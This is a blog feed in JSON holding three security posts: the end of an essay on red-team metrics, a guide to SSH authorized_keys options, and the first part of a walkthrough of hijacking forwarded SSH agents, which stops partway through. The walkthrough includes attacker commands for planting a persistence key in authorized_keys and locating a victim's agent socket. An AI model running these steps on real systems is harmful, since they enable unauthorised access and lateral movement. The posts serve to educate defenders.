problems and you promote engineers to manage engineers, you end up with engineer\u0026rsquo;s bias integrated into the business processes. You end up with the people who believe they can create algorithms without bias trying to also objectively measure organizational health and success. But we can do more.\u003c/p\u003e\n\u003cp\u003eIf quantitative metrics seek to measure performance in terms of output, I believe qualitative metrics seek to measure performance in terms of trust. Quantitative metrics help us to measure the tangible outputs of our work, and qualitative metrics help us to measure the intangible outputs of our work.\u003c/p\u003e\n\u003cp\u003eIt\u0026rsquo;s easy to think of qualitative data in the form of impact statements and testimonials, and while those are both useful, they are not metrics and we cannot measure them. Instead, qualitative metrics should be collected in the form of structured ratings. For a red team, some of those qualitative metrics might look like so:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eOn a scale of 1 to 10, with 10 being the most positive, how was your experience interacting with the red team during this engagement?\u003c/li\u003e\n\u003cli\u003eOn a scale of 1 to 10, with 10 being the highest impact, how impactful to the broader organizational security do you feel this engagement was?\u003c/li\u003e\n\u003cli\u003eOn a scale of 1 to 10, with 1 representing too little and 10 representing too much, how satisfied were you with the level of communication with the red team during this engagement?\u003c/li\u003e\n\u003cli\u003eOn a scale of 1 to 10, with 10 representing the most confident, how confident were you in the security of the organization prior to this engagement?\u003c/li\u003e\n\u003cli\u003eOn a scale of 1 to 10, with 10 representing the most confident, how confident are you in the security of the organization after this engagement?\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThese are just a few examples of methods to collect data after an engagement. You\u0026rsquo;ll notice that they focus on how the stakeholders and participants \u003cem\u003efeel\u003c/em\u003e about the work that was done. You\u0026rsquo;ll also probably notice that these may not translate well into metrics to report up the chain. But what it does reflect is the relationships and customer satisfaction between the red team and the people they work with. Impact on the organization is difficult to measure, but collecting feedback on other people\u0026rsquo;s thoughts about your impact on the organization is much easier.\u003c/p\u003e\n\u003cp\u003eThis leads us to the titular section.\u003c/p\u003e\n\u003ch2 id=\"the-purpose-driven-red-team\"\u003eThe Purpose Driven Red Team\u003c/h2\u003e\n\u003cp\u003eI may be biased, having been on a red team until very recently, but I believe that the role of the red team is extremely important to a healthy, resilient organization. I don\u0026rsquo;t believe that the value of the red team role can be distilled down into the number of engagements run, the number of risks identified, the number of bugs found, etc. I believe the value that the red team brings to an organization is largely organic and difficult to measure in terms of the red team in isolation.\u003c/p\u003e\n\u003cp\u003eWhen asked \u0026ldquo;What is the purpose of the red team?\u0026rdquo;, you\u0026rsquo;ll likely get as many unique answers as people you ask. It\u0026rsquo;s a \u003ca href=\"https://twitter.com/r00tkillah/status/1223694298668920832\"\u003ecommon joke\u003c/a\u003e amongst the red team community. I think that most people will agree that in the broadest possible terms, the red team\u0026rsquo;s purpose is to improve the organization\u0026rsquo;s understanding of their security and their risks. Note that this is different than \u0026ldquo;the red team\u0026rsquo;s purpose is to improve the organization\u0026rsquo;s security.\u0026rdquo; While we may inadvertently do the latter, it is by and large a byproduct of our work and is not a reliable indication of success for a red team. The red team generates work for other teams, by which those other teams improve the security of the organization.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve talked a lot about metrics of various types in order to get to this point. The reason for this is that I want to challenge red teams to reconsider how they are measuring their success, and to think about the pros and cons of whichever mechanisms they are currently measuring by. I\u0026rsquo;ve also talked about the difference between management-provided metrics, signaling to the red team what the organization believes to be important, and red team-provided metrics, signaling to the organization what the red team believes to be important. It\u0026rsquo;s this last thing that I want to really drive home.\u003c/p\u003e\n\u003cp\u003eIf you do not work on a red team, and in many cases even if you do work on a red team, you are not likely to understand the exact value that the red team is bringing to your organization. You probably know that there \u003cem\u003eis\u003c/em\u003e value, and you probably have some vague idea of whether or not the team is currently successful, but you may not be able to articulate exactly what that means. Maybe you see that the numbers are trending up and to the right in the latest all hands meeting and think \u0026ldquo;Wow, great success!\u0026rdquo; Or maybe you feel successful because the last engagement you were on was successful.\u003c/p\u003e\n\u003cp\u003eBut the red team has its hands in a lot of different pies. Is the relationship with the blue team healthy and successful? Is the red team helping the blue team improve their technology or process? Is the relationship with service teams healthy or do service teams hate interacting with the red team? Do the people who get read into the reports at the end of an engagement have a firm understanding of the risks identified? Do the individual team members feel like they are contributing to the success of the team or are they feeling isolated or less impactful? Are the risks being reported actually being acted upon with the right level of resourcing or are they falling by the wayside after reporting?\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m not on a red team anymore. But if I were, I would really drive towards metrics that help us, as a team, determine whether or not we \u003cem\u003efeel\u003c/em\u003e successful. That means, before we even start thinking about collecting metrics, the team needs to sit down and determine what our purpose is, and then what types of work activities contribute to that purpose. Maybe that purpose is to really help level up the blue team and work closely with the blue team to improve detection fidelity, improve coverage, improve confidence. Maybe that purpose is to bring light to the biggest risks in the organization and get resources dedicated to managing those risks. Maybe that purpose is to be the most elite hacking squad, imitating top tier threat actors in order to tell a story of what organizational compromise looks like. All of these are admirable purposes for a team, but they also have very little overlap with one another and success in one does not necessarily contribute to success in the others.\u003c/p\u003e\n\u003cp\u003eOnce the team is clear on purpose, it\u0026rsquo;s time to put together the right combination of metrics that reflect this purpose. This is going to be a long process and it\u0026rsquo;s going to involve metrics that don\u0026rsquo;t work, metrics that aren\u0026rsquo;t accurate, metrics that get in the way of the purpose, and many other failings. Determining which metrics to use isn\u0026rsquo;t going to be easy, either - they need to be relevant, they need context, and they need to have a particular goal, whether that\u0026rsquo;s trend up, trend down, or trend in a specific range. I would talk with my management about whether or not they have reasons that the team agrees with for the particular metrics they may be asking for, and then talk about what metrics the team feels are relevant to their success. Whether the management wants to accept those new red team-provided metrics or not is irrelevant. We\u0026rsquo;re not collecting metrics for management, we are collecting them for our own improvement. We are collecting them as a means of getting feedback on the progress towards our purpose.\u003c/p\u003e\n\u003cp\u003eThe purpose driven red team determines its success based on improvement in pursuit of the purpose. Whether that purpose is to produce a certain number of engagements or bugs per quarter, or something deeper and more difficult to capture, I encourage you to pursue the purpose \u003cstrong\u003ebefore\u003c/strong\u003e you pursue the metrics.\u003c/p\u003e\n"
        },
        {
            "title": "authorized_keys File Format",
            "date_published": "2021-03-20T14:00:00-07:00",
            "date_modified": "2024-03-22T17:16:24-07:00",
            "id": "https://0xda.de/blog/2021/03/authorized_keys-file-format/",
            "url": "https://0xda.de/blog/2021/03/authorized_keys-file-format/",
            "content_html": "\u003cp\u003eThe second in my series of posts about SSH things that people don\u0026rsquo;t always think about, today we\u0026rsquo;ll take a look at the \u003ccode\u003eauthorized_keys\u003c/code\u003e file format.\u003c/p\u003e\n\u003cp\u003eThat\u0026rsquo;s right, it\u0026rsquo;s a whole file format. Not just a place you drop your keys and forget about them, you can place all sorts of restrictions or behaviors on individual keys. Whether you want a key to only be valid for running a specific command, or you want to ensure a key is only used when coming from specific sources, \u003ccode\u003eauthorized_keys\u003c/code\u003e has you covered. For the authoritative source of information about this file format, \u003ccode\u003eman sshd\u003c/code\u003e on a linux terminal near you, or visit the \u003ca href=\"https://man.openbsd.org/sshd\"\u003eauthoritative source\u003c/a\u003e online. Avoid the linux.die.net man pages, which are out of date.\u003c/p\u003e\n\u003cp\u003eWe\u0026rsquo;re only going to look at a few options that are particularly interesting to me. I encourage you to dig into the man pages yourself to find additional interesting things that might be more relevant to you.\u003c/p\u003e\n\u003ch2 id=\"restricting-defaults\"\u003eRestricting Defaults\u003c/h2\u003e\n\u003cp\u003eDefault settings for \u003ccode\u003eauthorized_keys\u003c/code\u003e options tend to be pretty open. You can establish LocalForward and RemoteForwards, you can \u003ca href=\"https://0xda.de/blog/2021/03/forwardagentforward/\"\u003eforward your SSH Agent\u003c/a\u003e, you can setup X11 forwarding, allocate a PTY, and execute \u003ccode\u003e~/.ssh/rc\u003c/code\u003e (which is a discussion for another blog post). This is all pretty great when you want to supply a typical linux user experience for a user, or when you setup your own administrative keys on a machine. But what if you want to allow users to SSH in but not allow them to establish forwards, or prevent them from opening a PTY.\u003c/p\u003e\n\u003cp\u003eEnter the \u003ccode\u003eno-*\u003c/code\u003e suite of \u003ccode\u003eauthorized_keys\u003c/code\u003e options.\u003c/p\u003e\n\u003ch3 id=\"no-agent-forwarding\"\u003eno-agent-forwarding\u003c/h3\u003e\n\u003cp\u003eWhile I\u0026rsquo;m generally a proponent of just broadly disabling SSH Agent Forwarding, perhaps that isn\u0026rsquo;t feasible in your environment for one reason or another. But maybe you want to ensure that users aren\u0026rsquo;t loading their yubikeys into their SSH agents and then forwarding that, effectively eliminating the \u0026ldquo;2FA\u0026rdquo; component of using a yubikey in the first place. You can use the \u003ccode\u003eno-agent-forwarding\u003c/code\u003e option before the relevant SSH key(s) to not allow agent forwarding when that key is used for authentication. That way maybe there is a key type that you want to allow agent forwarding on, like agent forwarding with a deploy key used to pull an application from some repository, but your typical user keys aren\u0026rsquo;t able to use agent forwarding.\u003c/p\u003e\n\u003cp\u003eThis restriction can be a little bit confusing when a user has multiple keys in their \u003ccode\u003eauthorized_keys\u003c/code\u003e file, or multiple keys in their SSH agent. Let\u0026rsquo;s say we have two authorized keys in our \u003ccode\u003eauthorized_keys\u003c/code\u003e file, and those same two keys are loaded in our SSH agent. One of those keys has the \u003ccode\u003eno-agent-forwarding\u003c/code\u003e restriction but the other does not. The key that was \u003cstrong\u003efirst loaded into the agent\u003c/strong\u003e will be used, \u003cstrong\u003eREGARDLESS\u003c/strong\u003e of the key that is first in the \u003ccode\u003eauthorized_keys\u003c/code\u003e. So if the unrestricted key was added to the agent first, \u003ccode\u003essh -A\u003c/code\u003e would go ahead and forward that socket for you, regardless of the key ordering in \u003ccode\u003eauthorized_keys\u003c/code\u003e or the restriction on the other key.\u003c/p\u003e\n\u003cp\u003eIt\u0026rsquo;s important to be aware of this behavior, because once the \u003ccode\u003e$SSH_AUTH_SOCK\u003c/code\u003e has been established, the remote session has access to \u003cstrong\u003eALL\u003c/strong\u003e keys in the forwarded agent, regardless of whether or not the key is listed as \u003ccode\u003eno-agent-forwarding\u003c/code\u003e in your \u003ccode\u003eauthorized_keys\u003c/code\u003e file. So in our earlier example of a yubikey loaded into the agent, if the user simply authenticates with a different key that isn\u0026rsquo;t restricted, they\u0026rsquo;d still be able to access their yubikey key on the forwarded agent.\u003c/p\u003e\n\u003ch3 id=\"no-port-forwarding\"\u003eno-port-forwarding\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eno-port-forwarding\u003c/code\u003e is interesting to me because it can be useful for restricting the ability to pivot through your server and into potentially restricted networks. The man pages say specifically that TCP forwarding is forbidden, but a little testing by yours truly suggests that the same applies for unix-domain socket forwarding via \u003ccode\u003essh -R\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eAnother interesting note is that this doesn\u0026rsquo;t prevent agent forwarding, even though agent forwarding is effectively just a forwarded unix-domain socket. I\u0026rsquo;ve tried to create an arbitrary socket of my own and then call \u003ccode\u003eSSH_AUTH_SOCK=/home/dade/testsock ssh -A dade@old.0xda.de\u003c/code\u003e in order to test whether this could be used to still establish arbitrary unix-domain socket forwarding to the remote server, but it seems like ssh will just hang indefinitely if \u003ccode\u003eSSH_AUTH_SOCK\u003c/code\u003e isn\u0026rsquo;t a valid SSH agent socket.\u003c/p\u003e\n\u003ch3 id=\"no-user-rc\"\u003eno-user-rc\u003c/h3\u003e\n\u003cp\u003eI have a recent fascination with \u003ccode\u003e~/.ssh/rc\u003c/code\u003e \u0026ndash; it\u0026rsquo;s a file that I didn\u0026rsquo;t know could exist, many sysadmins probably aren\u0026rsquo;t paying attention to, and since it\u0026rsquo;s not in the homedir like \u003ccode\u003e.bashrc\u003c/code\u003e or \u003ccode\u003e.bash_profile\u003c/code\u003e, it\u0026rsquo;s much less likely to get noticed by a typical user \u0026ndash; as users we tend to spend a lot more time in \u003ccode\u003e~\u003c/code\u003e than we do in \u003ccode\u003e~/.ssh\u003c/code\u003e. I plan to write a whole separate post about this file, but for now all you really need to know is that it can be home to commands that run when an ssh session is established, prior to the user\u0026rsquo;s commands or shell. Well, this directive tells \u003ccode\u003esshd\u003c/code\u003e to not execute the contents of \u003ccode\u003e~/.ssh/rc\u003c/code\u003e when this particular key is used to authenticate. Of course from a security perspective this is pretty irrelevant because anyone who can modify your \u003ccode\u003e~/.ssh/rc\u003c/code\u003e can \u003cem\u003eprobably\u003c/em\u003e modify your \u003ccode\u003eauthorized_keys\u003c/code\u003e file to just remove this directive.\u003c/p\u003e\n\u003ch2 id=\"inverting-the-defaults\"\u003eInverting the Defaults\u003c/h2\u003e\n\u003cp\u003eInstead of manually specifying a bunch of restrictions for a key, newer versions of \u003ccode\u003esshd\u003c/code\u003e support the \u003ccode\u003erestrict\u003c/code\u003e option. This option automatically defaults to all of the restrictive settings and then you can explicitly enable functionality you care about. For instance, the opposite of \u003ccode\u003eno-agent-forwarding\u003c/code\u003e would be \u003ccode\u003erestrict agent-forwarding\u003c/code\u003e - This restricts the key from port forwarding, having a pty, X11 forwarding, etc, but it explicitly allows it to use agent forwarding.\u003c/p\u003e\n\u003cp\u003eThis table maps the \u003ccode\u003eno-*\u003c/code\u003e directives to the inverted directives used with \u003ccode\u003erestrict\u003c/code\u003e. They are pretty obvious, though - just remove the \u003ccode\u003eno-\u003c/code\u003e prefix!\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eno-*\u003c/th\u003e\n          \u003cth\u003einverted\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eno-agent-forwarding\u003c/td\u003e\n          \u003ctd\u003eagent-forwarding\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eno-port-forwarding\u003c/td\u003e\n          \u003ctd\u003eport-forwarding\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eno-pty\u003c/td\u003e\n          \u003ctd\u003epty\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eno-user-rc\u003c/td\u003e\n          \u003ctd\u003euser-rc\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eno-X11-forwarding\u003c/td\u003e\n          \u003ctd\u003eX11-forwarding\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"restricting-keys-to-specific-origins\"\u003eRestricting keys to specific origins\u003c/h2\u003e\n\u003cp\u003ePerhaps my second favorite of all the \u003ccode\u003eauthorized_keys\u003c/code\u003e directives is the \u003ccode\u003efrom=\u003c/code\u003e directive. \u003ccode\u003efrom\u003c/code\u003e supports a list of patterns to restrict a key\u0026rsquo;s origin - if the key tries to authenticate from anywhere but the specified origin(s), it will fail. You can use wildcard matching to match DNS names like \u003ccode\u003efrom=\u0026quot;*.rooted-servers.net\u0026quot;\u003c/code\u003e to allow the key to be used from any host with a DNS name ending in \u003ccode\u003e.rooted-servers.net\u003c/code\u003e. You can also use CIDR notation to restrict the key to only be used from specific IP ranges - e.g. \u003ccode\u003efrom=\u0026quot;10.0.0.0/8\u0026quot;\u003c/code\u003e to restrict the key to only be allowed to authenticate to the server if it\u0026rsquo;s coming from the RFC1918 Class A network that the server is on. Alternatively you could use it like \u003ccode\u003efrom=\u0026quot;bastion.rooted-servers.net\u003c/code\u003e to ensure that the key is only able to authenticate if it first comes through your bastion server.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE:\u003c/strong\u003e When using DNS names here, it\u0026rsquo;s the PTR record that gets checked against. If you don\u0026rsquo;t have a PTR record for the IP address that matches the DNS name(s) you specify, your authentication will be rejected. You can check the PTR record of an IP address with \u003ccode\u003edig -x \u0026lt;ip\u0026gt;\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE 2:\u003c/strong\u003e I\u0026rsquo;d recommend restricting ssh origin via iptables before setting up any per-key authentication restrictions, if applicable. iptables rules that accept traffic to sshd from only specific origins are much less likely to go wrong than relying entirely on \u003ccode\u003eauthorized_keys\u003c/code\u003e restrictions, especially if you\u0026rsquo;re not tightly controlling the contents of all users\u0026rsquo; \u003ccode\u003eauthorized_keys\u003c/code\u003e files.\u003c/p\u003e\n\u003ch2 id=\"expiring-keys\"\u003eExpiring keys\u003c/h2\u003e\n\u003cp\u003eExpiring keys is a directive I didn\u0026rsquo;t know existed before sitting down to write this post. The name of the directive is \u003ccode\u003eexpiry-time\u003c/code\u003e and it takes a value in the format of \u003ccode\u003eYYYYMMDD\u003c/code\u003e or \u003ccode\u003eYYYYMMDDHHMM[SS]\u003c/code\u003e. Once the system time has passed the specified time specification, the ssh key will no longer be valid for authentication. It\u0026rsquo;s also worth noting that if you just set the date without setting the time, the key will expire as soon as the system time becomes that date. E.g. \u003ccode\u003eexpiry-time=\u0026quot;20210320\u0026quot;\u003c/code\u003e means that the last time the key will be valid for authentication is \u003ccode\u003e2021-03-19T23:59:59\u003c/code\u003e system time. As soon as the clock rolls to \u003ccode\u003e2021-03-20T00:00:00\u003c/code\u003e, the key will be expired. This may be important to consider when the system time is UTC and the keys expire many hours before or after the user\u0026rsquo;s local time hits that date.\u003c/p\u003e\n\u003ch2 id=\"executing-commands\"\u003eExecuting Commands\u003c/h2\u003e\n\u003cp\u003eFinally! My favorite of all the \u003ccode\u003eauthorized_keys\u003c/code\u003e directives. \u003ccode\u003ecommand=\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThis is exactly what it sounds like - a command that executes when a particular key is used to authenticate. The caveat for the \u003ccode\u003ecommand\u003c/code\u003e directive is that it executes \u003cem\u003einstead of\u003c/em\u003e whatever the user tried to execute. If you have the ability to set \u003ccode\u003ecommand=\u003c/code\u003e on your own, you could use this to perform a specific action when that key is used to authenticate and then still drop you into your shell or run whatever command you intended to run. It\u0026rsquo;s pretty gross, but it works:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecommand=\u0026#34;echo hello authorized_keys \u0026amp;\u0026amp; if [ -n \\\u0026#34;$SSH_ORIGINAL_COMMAND\\\u0026#34; ]; then eval $SSH_ORIGINAL_COMMAND; else $SHELL; fi\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis command simply echos \u003ccode\u003ehello authorized_keys\u003c/code\u003e and then executes the user\u0026rsquo;s original ssh command, which helpfully gets shoved into \u003ccode\u003e$SSH_ORIGINAL_COMMAND\u003c/code\u003e for us, or executes the user\u0026rsquo;s \u003ccode\u003e$SHELL\u003c/code\u003e if no remote command was supplied. A more creative user might replace that \u003ccode\u003eecho hello authorized_keys\u003c/code\u003e with something a little more malicious, if they so choose. But there\u0026rsquo;s a big down side to trying to do anything malicious this way: it stays in your ps output for the entire duration of the session.\u003c/p\u003e\n\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n    \u003csource srcset=\"/blog/2021/03/authorized_keys-file-format/img/ssh-authorized-keys-ps-output_hu_910cae7bb74268cc.webp\" type=\"image/webp\" /\u003e\n  \u003cimg class=\"img\" src=\"/blog/2021/03/authorized_keys-file-format/img/ssh-authorized-keys-ps-output.f417e392adcb6ad3892e8d55f0dba708.jpg\" alt=\"ps output\" loading=\"lazy\" height=\"588\" width=\"2048\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n\u003cp\u003eThat said, I\u0026rsquo;m sure there are many perfectly legitimate reasons to use this. You can get authorized_keys from different users and set \u003ccode\u003erestrict,command=\u0026quot;redeploy\u0026quot;\u003c/code\u003e in order to automatically trigger a redeployment when that user tries to ssh in with their key. Or maybe \u003ccode\u003erestrict,command=\u0026quot;tail -f /var/log/nginx/access.log\u0026quot;\u003c/code\u003e to give some users the ability to see the nginx access logs in real time without needing to give them a full shell. I\u0026rsquo;m sure legitimate system administrators can come up with tons of cool uses for this.\u003c/p\u003e\n\u003cp\u003eIf you\u0026rsquo;re pretending to be a bad guy, like I do from 9am to 5pm every week day and from 9pm to 5am every weekend, then instead of executing commands in \u003ccode\u003e~/.ssh/authorized_keys\u003c/code\u003e, you should be checking out \u003ccode\u003e~/.ssh/rc\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"adieu\"\u003eAdieu\u003c/h2\u003e\n\u003cp\u003eCheck out the \u003ca href=\"https://www.openssh.com/manual.html\"\u003evarious ssh man pages\u003c/a\u003e for more fun. Or just wait for me to write about more ssh fun.\u003c/p\u003e\n\u003cp\u003eAlso, check out the OpenSSH logo. I wish I had a briefcase that said Top Secret on it.\u003c/p\u003e\n\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n  \u003cimg class=\"img\" src=\"/blog/2021/03/authorized_keys-file-format/img/openssh-logo.7fd1c0344c36f7a1e0d5f49ca255929a.gif\" alt=\"openssh logo\" loading=\"lazy\" height=\"191\" width=\"578\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n"
        },
        {
            "title": "ForwardAgentForward",
            "date_published": "2021-03-18T22:38:35-07:00",
            "date_modified": "2024-07-07T22:46:22-07:00",
            "id": "https://0xda.de/blog/2021/03/forwardagentforward/",
            "url": "https://0xda.de/blog/2021/03/forwardagentforward/",
            "content_html": "\u003cblockquote\u003e\n\u003cp\u003eThis is a story all about how my auth got flipped, turned inside out.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eI love SSH.\u003c/p\u003e\n\u003cp\u003eNo really, SSH is awesome. I remember first learning how to do cool SSH things from \u003ca href=\"https://www.youtube.com/watch?v=_i7v7Of5UPI\"\u003eHak5\u003c/a\u003e \u003ca href=\"https://www.youtube.com/watch?v=g_Row8zEJZc\"\u003evideos\u003c/a\u003e in 2012. Then I got intimate with the \u003ca href=\"https://linux.die.net/man/1/ssh\"\u003eman pages\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eI love SSH keys, too. Soft keys, hard keys, all keys really. Whether you generated it with \u003ccode\u003essh-keygen\u003c/code\u003e and it lives happily at \u003ccode\u003e~/.ssh/id_ed25519\u003c/code\u003e or you bought a yubikey and it lives safely behind a touch or PIN, SSH keys are awesome. But sometimes managing SSH keys can be a real pain in the neck. Or worse, having to keep re-entering your password every time you want to scp a file to the remote host or execute a command across a fleet of servers. You \u003cem\u003eARE\u003c/em\u003e using passwords on your SSH keys, aren\u0026rsquo;t you? Enter the \u003ccode\u003essh-agent\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSSH agents are nifty little applications that let you authenticate to your key once, and then it keeps that in memory so that you don\u0026rsquo;t have to keep reauthenticating. The security of key-based authentication, the security of using a password on your keys, without the headache of having to type your password over and over again. There are even ways to load your yubikey into your SSH agent! Or make your agent available on the servers that you\u0026rsquo;re connecting to!\u003c/p\u003e\n\u003cp\u003eOr make your agent available on the servers that you\u0026rsquo;re connecting to\u0026hellip;\u003c/p\u003e\n\u003cp\u003eThis is called SSH Agent Forwarding. You may know it as \u003ccode\u003eForwardAgent yes\u003c/code\u003e or maybe even \u003ccode\u003essh -A\u003c/code\u003e. It works by creating a special file on the remote server called a unix domain socket. This socket allows the remote server to talk to your SSH agent on your workstation via your SSH connection. The SSH agent that you loaded your private keys into so that you didn\u0026rsquo;t need to use a password or pin to use them.\u003c/p\u003e\n\u003cp\u003eThis socket is typically created in \u003ccode\u003e/tmp/ssh-*\u003c/code\u003e, but you can see where it is by running \u003ccode\u003eecho $SSH_AUTH_SOCK\u003c/code\u003e. This socket belongs to your user, so only your user can use it, right? Well, kind of. Only your user, plus the sudoers on the machine, plus any attackers who have compromised your user. Maybe you\u0026rsquo;re the only one with an account on the server so you don\u0026rsquo;t have to worry about other users abusing your SSH agent. Except you\u0026rsquo;re running a WordPress blog as a shared user and it\u0026rsquo;s been compromised through a fancy free theme you installed 8 years ago, and now an attacker has access to your SSH agent and the ability to use the keys that lie within it. The \u003cem\u003eprivate\u003c/em\u003e keys.\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s talk about abusing SSH Agent Forwarding.\u003c/p\u003e\n\u003ch2 id=\"common-use-cases\"\u003eCommon Use Cases\u003c/h2\u003e\n\u003cp\u003eCommon use cases for SSH Agent Forwarding include, but are not limited to:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eSSHing to a remote server and then executing ssh commands on that server to pivot around\u003c/li\u003e\n\u003cli\u003eSSHing to a remote server and using the forwarded agent to \u003ccode\u003egit clone\u003c/code\u003e source code\u003c/li\u003e\n\u003cli\u003eSSHing between two of your computers in order to not need per-device keys, or to access a hardware token on both devices\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"the-meat-of-it\"\u003eThe Meat Of It\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eHi kids! Do you like violence?\nDo you want to see me stick AUTH_SOCKS through each one of my devices?\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eI\u0026rsquo;ve had a fascination with abusing Agent Forwarding ever since I saw the \u003ca href=\"https://www.sjoerdlangkemper.nl/2020/01/01/matrix-org-hack/\"\u003eMatrix hackers\u003c/a\u003e use it in 2019. On shared hosts, like network bastions or production servers that your whole team has access to, I don\u0026rsquo;t like the idea of trusting that none of the other users on the machine have been compromised. I don\u0026rsquo;t like the idea of not knowing when my keys are being used in my agent.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m calling this ForwardAgentForward, because well, we\u0026rsquo;re forwarding the forwarded agent. Forwarding it right to your laptop so that we can use it for whatever shenanigans we want. Really all it is is ForwardAgent combined with LocalForward.\u003c/p\u003e\n\u003cp\u003eThe attack described herein assumes the following to be true:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eThe victim loads their ssh keys into ssh-agent via a simple \u003ccode\u003essh-add ~/.ssh/id_ed25519\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eThe victim has \u003ccode\u003eForwardAgent yes\u003c/code\u003e set in their \u003ccode\u003e.ssh/config\u003c/code\u003e \u003cstrong\u003eOR\u003c/strong\u003e regularly uses \u003ccode\u003essh -A\u003c/code\u003e to ssh to servers.\u003c/li\u003e\n\u003cli\u003eThe attacker has \u003cem\u003euser-level privilege\u003c/em\u003e for the \u003cem\u003evictim user\u003c/em\u003e \u003cstrong\u003eOR\u003c/strong\u003e has \u003cem\u003eroot-level privilege\u003c/em\u003e on the server.\u003c/li\u003e\n\u003cli\u003eThe attacker is able to drop an SSH key for the corresponding level of compromise\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"victim-activity\"\u003eVictim Activity\u003c/h3\u003e\n\u003cp\u003eThe victim of this attack, the person whose SSH agent is going to be hijacked, only needs to have logged into the compromised server with agent forwarding and keys loaded into their agent. E.g.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejoey@workstation:~$ eval $(ssh-agent)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejoey@workstation:~$ ssh-add ~/.ssh/id_ed25519\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejoey@workstation:~$ ssh -A joey@a.rooted-servers.net\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"attacker-activity\"\u003eAttacker Activity\u003c/h3\u003e\n\u003cp\u003eIf we assume the attacker has \u003ccode\u003ejoey\u003c/code\u003e access on \u003ccode\u003ea.rooted-servers.net\u003c/code\u003e, and wants to pivot to \u003ccode\u003eb.rooted-servers.net\u003c/code\u003e, the attack will play out like so:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eOn the compromised server:\u003c/strong\u003e If we don\u0026rsquo;t already have ssh access to the host, let\u0026rsquo;s add our ssh key so that we can come back as joey later, and then find out where the real joey\u0026rsquo;s \u003ccode\u003eSSH_AUTH_SOCK\u003c/code\u003e is.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Write out our attacker\u0026#39;s key to ~/.ssh/authorized_keys (or ~/.ssh/authorized_keys2 because some distros still include this as a default allowed file)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejoey@a.rooted-servers.net:~$ echo ssh-ed25519 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \u0026gt;\u0026gt; ~/.ssh/authorized_keys\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Identify the directory and socket that the real joey is using\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejoey@a.rooted-servers.net:~$ ls -lah /tmp/ssh-* 